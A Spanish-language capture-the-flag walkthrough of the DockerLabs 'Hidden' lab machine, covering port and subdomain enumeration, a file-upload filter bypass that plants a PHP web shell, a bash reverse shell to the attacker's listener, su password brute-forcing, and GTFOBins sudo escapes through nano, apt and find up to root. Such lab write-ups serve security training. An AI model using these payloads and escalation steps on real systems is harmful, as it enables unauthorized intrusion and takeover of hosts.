DockerLabs - Hidden
nmap
1
2
3
4
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Hidden]
└─$ nmap -p- -sS --min-rate 5000 -n -Pn 172.17.0.2
PORT STATE SERVICE
80/tcp open http
1
2
3
4
5
6
7
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Hidden]
└─$ nmap -sCV -p80 172.17.0.2
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.52
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://hidden.lab/
Service Info: Host: localhost
análisis
Comenzamos revisando la página principal del servidor web, el cual vemos que nos redirige al dominio hidden.lab:
Para que nos resuelva correctamente el dominio, debemos modificar el fichero /etc/hosts de nuestra máquina, añadiendo la siguiente línea:
1
2
3
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Hidden]
└─$ cat /etc/hosts | grep hidden
172.17.0.2 hidden.lab
Si volvemos a recargar la página, ahora veremos que se nos cargan correctamente los recursos:
Mientras investigamos la página web, dejaremos con gobuster una búsqueda por fuerza bruta de recursos disponibles en el servidor:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Hidden]
└─$ gobuster dir -u "http://hidden.lab" -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt -t 200 -x .php,.html,.txt 2>/dev/null
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://hidden.lab
[+] Method: GET
[+] Threads: 200
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.8
[+] Extensions: php,html,txt
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.html (Status: 200) [Size: 10483]
/mail (Status: 301) [Size: 307] [--> http://hidden.lab/mail/]
/menu.html (Status: 200) [Size: 11846]
/service.html (Status: 200) [Size: 10926]
/css (Status: 301) [Size: 306] [--> http://hidden.lab/css/]
/lib (Status: 301) [Size: 306] [--> http://hidden.lab/lib/]
/js (Status: 301) [Size: 305] [--> http://hidden.lab/js/]
/about.html (Status: 200) [Size: 9703]
/LICENSE.txt (Status: 200) [Size: 1456]
/contact.html (Status: 200) [Size: 11680]
/img (Status: 301) [Size: 306] [--> http://hidden.lab/img/]
/testimonial.html (Status: 200) [Size: 10335]
/reservation.html (Status: 200) [Size: 11786]
Tras investigar la página web y los recursos obtenidos por gobuster, no encontramos nada que nos indique una forma de seguir.
Por lo tanto, intentaremos buscar subdominios asociados a hidden.lab empleando nuevamente gobuster, el cual rápidamente nos descubre el dominio dev.hidden.lab:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Hidden]
└─$ gobuster vhost -u 'http://hidden.lab' -t 200 -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -r --ad
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://hidden.lab
[+] Method: GET
[+] Threads: 200
[+] Wordlist: /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
[+] User Agent: gobuster/3.8
[+] Timeout: 10s
[+] Append Domain: true
[+] Exclude Hostname Length: false
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
dev.hidden.lab Status: 200 [Size: 1653]
Progress: 114442 / 114442 (100.00%)
===============================================================
Finished
===============================================================
Lo debemos añadir también al fichero /etc/hosts para que pueda resolverlo correctamente:
1
2
3
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Hidden]
└─$ cat /etc/hosts | grep hidden
172.17.0.2 hidden.lab dev.hidden.lab
acceso inicial (www-data)
Al acceder al subdominio vemos que está disponible una funcionalidad que permite subir CVs:
Probamos de primeras a subir un script en PHP que nos permita ejecutar comandos de forma remota:
Sin embargo, vemos que se valida el tipo de fichero que aportamos a la hora de hacer la subida:
Para poder probar esta funcionalidad con mayor facilidad, interceptaremos la petición con Burp Suite y la mandaremos al Repeater:
Lo que es conveniente probar cuando nos encontremos con funcionalidades que permitan subir ficheros es:
- Cambiar la extensión del fichero por otra que PHP permita la ejecución del script (Lista de extensiones válidas)
- Modificar la cabecera
Content-Type. - Agregar magic numbers de ficheros que el servidor acepte.
- Reducir el tamaño del contenido del script.
- Reformular el script para evitar bloqueos de palabras clave.
Para el este caso, cambiando la extensión del script es suficiente para que el servidor lo acepte:
Aunque el servidor ha subido el script, debemos averiguar donde se encuentra. Para ello, volveremos a emplear gobuster para encontrar recursos disponibles en el subdominio:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Hidden]
└─$ gobuster dir -u "http://dev.hidden.lab" -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 200 -x .php,.html,.txt 2>/dev/null
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://dev.hidden.lab
[+] Method: GET
[+] Threads: 200
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.8
[+] Extensions: php,html,txt
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/uploads (Status: 301) [Size: 318] [--> http://dev.hidden.lab/uploads/]
/upload.php (Status: 200) [Size: 74]
/index.html (Status: 200) [Size: 1653]
Podemos intuir que el recurso /uploads es la carpeta donde se suben los ficheros aceptados por el servidor, y al acceder vemos que efectivamente nuestro script se encuentra dentro:
Ahora vamos a probar si es posible ejecutar comandos indicando el parámetro ?cmd=<comando a ejecutar>
1
http://dev.hidden.lab/uploads/cmd.phtml?cmd=id
Ya que tenemos ejecución remota de comandos, procedemos a obtener una reverse shell, poniéndonos en primer lugar en escucha con nc y luego ejecutando el siguiente comando (teniendo en cuenta que el & está codificado en URL a %26 para evitar conflictos):
1
http://dev.hidden.lab/uploads/cmd.phtml?cmd=bash -c 'bash -i >%26 /dev/tcp/172.17.0.1/4444 0>%261'
Tras ejecutar el comando, deberíamos haber obtenido una consola donde nos habíamos puesto en escucha:
1
2
3
4
5
6
7
8
9
10
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Hidden]
└─$ nc -nlvp 4444
listening on [any] 4444 ...
connect to [172.17.0.1] from (UNKNOWN) [172.17.0.2] 54490
www-data@bae61b258357:/var/www/dev.hidden.lab/uploads$ whoami
whoami
www-data
www-data@bae61b258357:/var/www/dev.hidden.lab/uploads$ hostname -I
hostname -I
172.17.0.2
Para poder operar con mayor facilidad, lo que haremos será tratar la TTY:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
www-data@bae61b258357:/var/www/dev.hidden.lab/uploads$ script -c bash /dev/null
<ww/dev.hidden.lab/uploads$ script -c bash /dev/null
Script started, output log file is '/dev/null'.
www-data@bae61b258357:/var/www/dev.hidden.lab/uploads$ ^Z
zsh: suspended nc -nlvp 4444
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Hidden]
└─$ stty raw -echo;fg
[1] + continued nc -nlvp 4444
reset xterm
www-data@bae61b258357:/var/www/dev.hidden.lab/uploads$ export TERM=xterm
www-data@bae61b258357:/var/www/dev.hidden.lab/uploads$ export SHELL=bash
www-data@bae61b258357:/var/www/dev.hidden.lab/uploads$ stty rows 37 columns 210
Listaremos ahora los usuarios del sistema que tengan asignada una consola:
1
2
3
4
5
www-data@bae61b258357:/home$ cat /etc/passwd | grep "sh$"
root:x:0:0:root:/root:/bin/bash
cafetero:x:1000:1000::/home/cafetero:/bin/sh
john:x:1001:1001::/home/john:/bin/sh
bobby:x:1002:1002::/home/bobby:/bin/sh
movimiento lateral (cafetero)
Tras revisar múltiples vectores de escalada de privilegios, no encontramos nada, por lo que optamos por tratar de obtener la contraseña de los usuarios empleando fuerza bruta con el siguiente script.
Lo primero es crear el script y darle permisos en la máquina víctima:
1
2
3
4
5
6
7
8
www-data@bae61b258357:/tmp$ nano bruteforce.sh
Unable to create directory /var/www/.local/share/nano/: No such file or directory
It is required for saving/loading search history or cursor positions.
www-data@bae61b258357:/tmp$ chmod +x bruteforce.sh
www-data@bae61b258357:/tmp$ ./bruteforce.sh
Uso: ./bruteforce.sh USUARIO DICCIONARIO
Se deben especificar tanto el nombre de usuario como el archivo de diccionario.
Lo siguiente es crear el diccionario que vamos a emplear, que en este caso usaremos las 10000 primeras líneas del diccionario rockyou.txt, las cuales copiamos al portapapeles con el siguiente comando (se debe instalar xclip, ya que no viene instalado por defecto):
1
head $(locate rockyou.txt) -n 10000 | xclip -sel clipboard
En la máquina víctima lo pegamos en un nuevo fichero:
1
2
3
4
5
6
www-data@bae61b258357:/tmp$ nano wordlist.txt
Unable to create directory /var/www/.local/share/nano/: No such file or directory
It is required for saving/loading search history or cursor positions.
www-data@bae61b258357:/tmp$ wc -l wordlist.txt
10000 wordlist.txt
Si ahora ejecutamos el script, veremos que tras unos segundos ya habremos obtenido la contraseña correcta del usuario cafetero:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
www-data@bae61b258357:/tmp$ ./bruteforce.sh cafetero wordlist.txt
******************************
* BruteForce SU *
******************************
Probando contraseña: 123456
Probando contraseña: 12345
Probando contraseña: 123456789
Probando contraseña: password
Probando contraseña: iloveyou
Probando contraseña: princess
Probando contraseña: 1234567
Probando contraseña: rockyou
...
Contraseña encontrada para el usuario cafetero: ******
Procedemos a conectarnos como el usuario cafetero:
1
2
3
4
www-data@bae61b258357:/tmp$ su cafetero
Password:
$ whoami
cafetero
movimiento lateral (john)
Revisando los permisos SUDO que tiene este usuario, veremos que puede ejecutar /usr/bin/nano como el usuario john:
1
2
3
4
5
6
$ sudo -l
Matching Defaults entries for cafetero on bae61b258357:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User cafetero may run the following commands on bae61b258357:
(john) NOPASSWD: /usr/bin/nano
En GTFOBins nos indican que cuando tenemos permisos SUDO para ejecutar nano como otro usuario, podemos invocar una consola como dicho usuario:
Debemos ejecutar los siguientes comandos (^ hace referencia a una combinación del botón Ctrl con otra tecla):
1
2
3
sudo nano
^R^X
reset; sh 1>&0 2>&0
Tras ejecutar el último comando, habremos obtenido la consola:
1
2
3
4
5
$ id
uid=1001(john) gid=1001(john) groups=1001(john)
$ bash
john@bae61b258357:/home/cafetero$ whoami
john
En los permisos SUDO del usuario john vemos que puede ejecutar el binario /usr/bin/apt como el usuario bobby:
1
2
3
4
5
6
john@bae61b258357:~$ sudo -l
Matching Defaults entries for john on bae61b258357:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User john may run the following commands on bae61b258357:
(bobby) NOPASSWD: /usr/bin/apt
Nuevamente, en GTFOBins nos indican que podemos aprovecharnos de esta configuración para obtener una consola como el usuario sobre el que tenemos permisos SUDO de varias formas, que en este caso, optaremos por la opción a), la cual se aprovecha de la posibilidad de ejecutar comandos al entrar al modo less (modo paginado):
De esta manera, ya tendremos una consola como el usuario bobby:
1
2
3
bobby@bae61b258357:/home/john$ whoami
bobby
bobby@bae61b258357:/home/john$
Los permisos SUDO del usuario bobby revelan que puede ejecutar el binario /usr/bin/find como el usuario root:
1
2
3
4
5
6
bobby@bae61b258357:/home/john$ sudo -l
Matching Defaults entries for bobby on bae61b258357:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User bobby may run the following commands on bae61b258357:
(root) NOPASSWD: /usr/bin/find
Volvemos a consultar en GTFOBins, donde nos indican que podemos invocar una consola como otro usuario si tenemos permisos SUDO sobre el binario find ejecutando el siguiente comando:
Tras ejecutar el comando que nos indican, comprobamos que efectivamente obtenemos la consola como el usuario root:
1
2
3
bobby@bae61b258357:/home/john$ sudo find . -exec /bin/sh \; -quit
# whoami
root
Aquí concluye la resolución de la máquina Hidden!













